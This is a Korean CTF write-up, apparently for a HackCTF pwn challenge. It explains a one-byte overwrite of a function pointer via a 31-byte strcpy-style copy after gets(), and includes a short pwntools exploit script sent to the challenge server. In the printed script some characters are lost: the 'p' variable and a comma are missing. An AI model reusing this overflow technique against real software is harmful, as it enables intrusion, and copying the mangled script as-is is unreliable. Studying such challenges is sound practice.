반응형

32bit ELF 파일이다.

 

main함수로 ㄱㄱ

 

 

 

gets함수로 s에 길이 제한 없이 입력을 받는다.

그리고 select_func의 인자로 넘긴다.

 

select_func을 보자

 

아까 받은 인자가 src이다.

 

src 에서 dest로 31바이트만큼 복사한다.

 

dest가 one이면 one함수를, 아니면 two함수를 실행한다.

 

v3에 저장된 함수를 call한다.

 

 

위에서 31바이트만큼 복사를 하는데,

 

dest는 bp-2Ah에 있고, v3는 bp-Ch에 있고,

 

2A-C = 30이다.

 

그러면 v3의 1바이트만을 덮을 수 있다.

 

 

two함수의 offset은 0x6AD이고, flag를 출력해주는 print_flag의 offset은 0x6D8이다.

 

입력값이 one이 아니라면 v3에 0x6AD가 들어갈 것이고 1바이트를 \xD8로 덮어준다면 0x6D8이 되어서 해당 함수가 실행되고 flag가 출력된다.

 

payload = 더미(30) + "\xd8"

 

 

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3007)
 
p.recvline()
 
payload = "A" * (30)
payload += "\xd8"
 
p.sendline(payload)
 
p.interactive()
cs
반응형

+ Recent posts